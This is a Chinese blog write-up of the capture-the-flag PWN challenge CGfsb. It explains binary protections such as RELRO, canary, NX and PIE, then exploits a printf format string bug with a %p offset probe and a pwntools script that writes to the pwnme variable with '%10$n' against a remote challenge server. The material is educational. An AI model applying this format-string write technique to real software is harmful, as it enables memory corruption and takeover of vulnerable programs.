攻防世界PWN-CGfsb

题目:CGfsb


先下载附件

在这里插入图片描述



先确保本地的python有pwntools模块(pip install pwntools),模块安装后会有一个checksec命令,可以用该命令查看文件的基本信息

1.扔文件进kali,使用checksec 命令查看其具体内容
在这里插入图片描述

几个重要参数:


Arch
程序架构信息,判断是64位还是32位,exp编写的时候是p64还是p32

RELRO
Relocation Read-Onl(RELRO)此项技术主要针对GOT改写的攻击方式,它分成两种,Partial
RELRO和FULL RELRO
Partial(部分)RELRO容易受到攻击,例如攻击者可以atoi.got为system.plt进而输
入/bin/sh\x00获得shell,完全RELRO使整个GOT只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

gcc -o hello test.c //默认情况下,是Partial RELRO
gcc -z norelro -o hello test.c // 关闭,即No RELRO
gcc -z lazy -o hello test.c // 部分开启,即Partial RELRO
gcc -z now -o hello test.c // 全部开启,即Full RELRO


Stack-canary
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞是,攻击者可以覆盖栈
上的返回地址来让shellcode能够得到执行,当启用栈保护后,函数开始执行的时候先会往栈里插入类
似cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行,攻击者在覆盖返回地址的时候往往会将cookie信息给覆盖掉,导致栈保护检车失败而阻止shellcode的执行,在linux中我们将cookie信息称为canary。

gcc -fno-stack-protector -o hello test.c //禁用栈保护
gcc -fstack-protector -o hello test.c //启用堆栈保护,不过只为局部变量中含有
char 数组的函数插入保护代码
gcc -fstack-protector-all -o hello test.c //启用堆栈保护,为所有函数插入保护代码

NX
NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,如此一来,当攻击者在堆栈上部署
自己的shellcode并触发时,智慧直接造成程序的崩溃,但是可以利用rop这种方法绕过

gcc -o hello test.c // 默认情况下,开启NX保护
gcc -z execstack -o hello test.c // 禁用NX保护
gcc -z noexecstack -o hello test.c // 开启NX保护

PIE

PTE(Position-Independent Executable,位置无关可执行文件)技术与ASLR技术类似,ASLR将程序运行时的堆栈以及共享库的加载地址随机化,而PIE及时则在编译时将程序编译为位置无关,即程序运行时各个段(如代码但等)加载的虚拟地址也是在装载时才确定,这就意味着。在PIE和
ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,传统改写GOT表项也难以进行,因为攻击者不能获得程序的.got段的虚地址。若开始一般需在攻击时歇够地址信息

gcc -o hello test.c // 默认情况下,不开启PIE
gcc -fpie -pie -o hello test.c // 开启PIE,此时强度为1
gcc -fPIE -pie -o hello test.c // 开启PIE,此时为最高强度2
(还与运行时系统ALSR设置有关)

而这里的程序显然是一个32位,开了NX(堆栈不可执行)以及CANNARY(栈保护)的程序,可以先运行 一下试试看。

在这里插入图片描述



程序大体逻辑分析结束,开32位IDA将文件拖进去分析源码

1.找main函数直接f5进去看源码
在这里插入图片描述
在这里插入图片描述
输出flag的条件是pwnme==8

 if ( pwnme == 8 )
 {
 puts("you pwned me, here is your flag:\n");
 system("cat flag");
 }

无法通过正常情况进行赋值,继续向上看,有一个参数可变的函数。

 printf((const char *)&v8);

援引解释:https://blog.csdn.net/qq_31073871/article/details/85696092

原理非常简单,无非就是从栈中取出数据而已,为了实现这一目的,必须通过第1个参数指定后续参数的数目和类型,这样我们才能解析出栈中的数据。这也就是为什么参数可变的函数,都至少带着一个有名形参,例如printf(const char* fmt, …),这个有名形参由两个作用:

(1)用来指出后续形参的数目和类型,例如printf函数就是通过%X的形式来指定的,有多少个%就有多少个后续参数,参数的类型由%后面的标识符来指定,例如%c,%d,%X。实际上fmt字符串就是一套标准化的传输协议而已,你完全可以自定义一套你自己的实参解析协议。

(2)用来提供本函数的栈的首地址,只有借助这个首地址,才能根据偏移取出后续参数。换句话说,如果你拿不到本函数运行时栈的地址,根本就无法取参简而言之就是格式化字符串漏洞:即通过手动输入对应的参数地址,可以因此更改掉原有程序中的已定变量的值。

参考:https://zhuanlan.zhihu.com/p/97860648中的原话
所以说,现在我们要做的有这么几点:

1、我们需要将pwnme的地址输入到message中去

2、在合适的位置上加一个%n,使其与我们输入的地址对应从而造成漏洞利用 所以接下来的问题变成
了如何让他们对应起来




分析其偏移地址量

无论我们在留言板的信息中输入多少内容,其内存都是在同一个变量,也就是同一个地址中的,为了
在栈中更加细化的标记这些空间的大小或者其优先级,系统会在原地址上加几位的偏移地址,以此来
更好的区分它们,所以我们需要搞清楚我们输入内容在栈中的偏移。

在massage处输入:AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

在这里插入图片描述
AAAA的地址是ox41414141,从图中高亮的部分往前数,以-为分隔,总共有多少个字符串,就有多少个偏移量。因此数了数在此之前,以-为区分的字符串总共有10个,所以有10的偏移量。

接下来是先找到真正pwnme的地址才能进行后续的伪造,进IDA在pwname上双击进入。
在这里插入图片描述
在这里插入图片描述


参考脚本:

from pwn import *
#r = precess("./CGfsb")
r = remote('220.249.52.133', 34433)
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + 'aaaa' + '%10$n' 
而p32(pwnme_addr),也就是p32(0x0804A068)输出的是4个字符
长度为4
且知道pwnme的值==8的时候才输出flag,前面的已经有4个字符了,因此后边继续拼接上aaaa也是
4个字符,加起来一共8个字符,因此pwnme==8成立
%10$n是固定的,将%n之前打印的字符数量放入指定地址内部,10是指的总共10个地址的偏移量
所以运行脚本:
#pwnme的地址需要经过32位编码转换,是四位,而pwnme需要等于8,所以‘aaaa’起着凑字数的作
用
r.recvuntil("please tell me your name:\n")
r.sendline('BurYiA')
r.recvuntil("leave your message please:\n")
r.sendline(payload)
r.interactive()

而p32(pwnme_addr),也就是p32(0x0804A068)输出的是4个字符

在这里插入图片描述
长度为4

在这里插入图片描述


且知道pwnme的值==8的时候才输出flag,前面的已经有4个字符了,因此后边继续拼接上aaaa也是 4个字符,加起来一共8个字符,因此pwnme==8成立

%10$n是固定的,将%n之前打印的字符数量放入指定地址内部,10是指的总共10个地址的偏移量


所以运行脚本:

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Deeeelete

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值